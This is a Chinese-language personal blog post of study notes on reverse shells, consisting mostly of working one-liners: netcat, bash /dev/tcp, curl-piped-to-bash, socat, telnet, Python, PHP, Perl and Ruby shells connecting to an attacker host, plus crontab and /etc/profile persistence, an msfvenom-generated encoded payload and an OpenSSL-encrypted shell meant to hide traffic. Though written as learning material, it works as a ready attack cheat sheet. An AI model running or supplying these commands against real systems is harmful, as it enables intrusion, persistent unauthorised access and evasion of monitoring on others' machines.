Featured image of post 反弹shell学习

反弹shell学习

反弹shell学习

一直只会那两种反弹shell,这次系统的学一下

参考https://xz.aliyun.com/news/8987

反弹shell,就是攻击机监听在某个TCP/UDP端口为服务端,目标机主动发起请求到攻击机监听的端口,并将其命令行的输入输出转到攻击机。

nc反弹shell

如果linux自带的nc的功能参数-e被删了,需要重新下二进制安装包

攻击机开监听

1
nc -lvvp port

目标机主动连接

1
nc ip port -e /bin/bash

没有bash,用sh

1
nc ip port -e /bin/sh

利用bash反弹shell

1
2
3
bash -i >& /dev/tcp/ip/port 0>&1
bash -c "bash -i >& /dev/tcp/ip/port 0>&1"

以下是针对Bash反弹一句话进行了拆分说明:

命令 命令详解
bash -i 产生一个bash交互环境。
>& 将联合符号前面的内容与后面相结合,然后一起重定向给后者。
/dev/tcp/ip/2333 Linux环境中所有的内容都是以文件的形式存在的,其实大家一看见这个内容就能明白,就是让目标主机与攻击机ip的2333端口建立一个tcp连接。
0>&1 将标准输入与标准输出的内容相结合,然后重定向给前面标准输出的内容。

Bash反弹一句完整的解读过程就是:

Bash产生了一个交互环境和本地主机主动发起与攻击机2333端口建立的连接(即TCP 2333会话连接)相结合,然后在重定向个TCP 2333会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个Bash反弹环境。

curl配合bash反弹shell

首先攻击者的web目录创建一个index文件,同时开启监听

1
bash -i >& /dev/tcp/ip/port 0>&1

然后目标机curl这边的话就会触发index里面的命令

1
curl ip|bash

curl IP|bash 中的IP可以是任意格式的,可以是十进制、十六进制、八进制、二进制等等。

将反弹shell的命令写入定时任务

我们可以在目标主机的定时任务文件中写入一个反弹shell的脚本,但是前提是我们必须要知道目标主机当前的用户名是哪个。因为我们的反弹shell命令是要写在 /var/spool/cron/[crontabs]/ 内的,所以必须要知道远程主机当前的用户名。否则就不能生效。

比如,当前用户名为root,我们就要将下面内容写入到 /var/spool/cron/root 中。(centos系列主机)

比如,当前用户名为root,我们就要将下面内容写入到 /var/spool/cron/crontabs/root 中。(Debian/Ubuntu系列主机)

1
2
*/1  *  *  *  *   /bin/bash -i>&/dev/tcp/ip/port 0>&1
#每隔一分钟,向ip的port端口发送shell

将反弹shell的命令写入/etc/profile文件

将以下反弹shell的命写入/etc/profile文件中,/etc/profile中的内容会在用户打开bash窗口时执行。

1
2
/bin/bash -i >& /dev/tcp/ip/port 0>&1 &
# 最后面那个&为的是防止管理员无法输入命令

当目标主机管理员远程连接该主机时,就会执行该命令,成功获得目标机的shell

利用Socat反弹shell

Socat是Linux 下一个多功能的网络工具,名字来由是”Socket CAT”,因此可以看出它是基于socket的,其功能与netcat类似,不过据说可以看做netcat的加强版,事实上的确也是如此。

1
apt-get install socat

攻击机开始监听

1
2
3
socat TCP-LISTEN:2333 -
nc -lvvp 2333

目标主机连接

1
socat tcp-connect:ip:port exec:'bash -li',pty,stderr,setsid,sigint,sane

利用Telnet反弹shell

当nc和/dev/tcp不可用,且目标主机和攻击机上支持Telnet服务时,我们可以使用Telnet反弹shell。

攻击机开始监听

1
nc -lvvp 2333

目标主机连接

1
mknod a p; telnet ip port 0<a | /bin/bash 1>a

第二种办法

攻击机起两个监听

1
2
nc -lvvp 2333
nc -lvvp 4000

目标机连接

1
telnet ip port1 | /bin/bash | telnet ip port2

获得shell后,在攻击机2333端口的终端上输入的命令会在目标机上执行,执行的回显将通过4000端口的终端显示出来。

脚本弹shell

Python 脚本反弹shell

攻击机开始监听

1
nc -lvvp 2333

目标机连接

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php 脚本反弹shell

下面都不写攻击机的命令了

目标机连接

1
php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");'

Perl 脚本反弹shell

目标机连接

1
perl -e 'use Socket;$i="47.101.57.72";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby脚本反弹shell

1
2
3
ruby -rsocket -e 'c=TCPSocket.new("47.xxx.xxx.72","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("47.xxx.xxx.72","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

使用Metasploit生成反弹shell用的一句话

强大的Metasploit框架也为我们提供了生成一句话反弹shell的工具,即msfvenom,绝对的实用。当我们不记得前面说的所有反弹shell的反弹语句时,只要我们有Metasploit,那么我们随时都可以使用 msfvenom -l 来查询生成我们所需要的各类命令行一句话

1
msfvenom -l payloads | grep 'cmd/unix/reverse'

image-20250721193016770

例如选择一个python脚本一句话

1
msfvenom -p cmd/unix/reverse_python LHOST=47.xxx.xxx.72 LPORT=2333 -f raw
1
2
3
4
5
6
7
┌──(kali㉿kali)-[~]
└─$ msfvenom -p cmd/unix/reverse_python LHOST=47.123.123.72 LPORT=2333 -f raw
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 356 bytes
python -c "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNqFkE0LwjAMhv9K6akF6Vwr7CA9DJkgooLbfbha2XC2Zen+v9ZWPC4Q8vUkL2R4OTt5BFY9tUcfWyEEc+cmqzRAatiQbBHqLXiJNwXLufh6wXGchCOSCyFiCTIeZDGQVJX79nCump9MbNaX3bGtm2tVnmjaZsoao5UnJCgmPEjQRFhg99lxAuwxjNpYQhO0XgLyJYAnwMn/G5i6jSPBWTeYDHpM3zNyVV0=')[0])))"

反弹shell后获取模拟终端

其实,上面所讲的各种方法获取的shell都不是一个标准的虚拟终端环境,它仅仅是一个标准输入。你会发现存在一个问题,就是即使我们获取了目标虚拟终端控制权限,但是往往会发现其交互性非常的差,回显信息与可交互性非常的差和不稳定,具体见情况有以下几个种。

  • 获取的虚拟终端没有交互性,我们想给添加的账号设置密码或执行sudo等命令,无法完成。
  • 标准的错误输出无法显示,无法正常使用vim等文本编辑器等。
  • 获取的目标主机的虚拟终端使用非常不稳定,很容易断开连接。

这往往都是因为我们获取的shell并不是标准的虚拟终端,为了能够完成输入密码等操作,我们必须模拟一个真正的终端设备。

借助python的pty库我们可以实现一个标准的虚拟终端环境

1
python -c "import pty;pty.spawn('/bin/bash')"

使用OpenSSL反弹加密shell

上述的反弹shell都有一个缺点,就是流量是明文传输的,所以我们需要对内容进行加密或者混淆

在利用 OpenSSL 反弹 shell 之前需要先生成自签名证书:

1
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

假设我们从目标机反弹 shell 到攻击机 。首先需要利用上一步生成的自签名证书,在攻击机上使用 OpenSSL 监听一个端口,在这里使用 2333 端口

1
openssl s_server -quiet -key key.pem -cert cert.pem -port 2333

这时在目标机进行反弹 shell 操作,命令为

1
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ip:2333 > /tmp/s; rm /tmp/s
使用 Hugo 构建
主题 StackJimmy 设计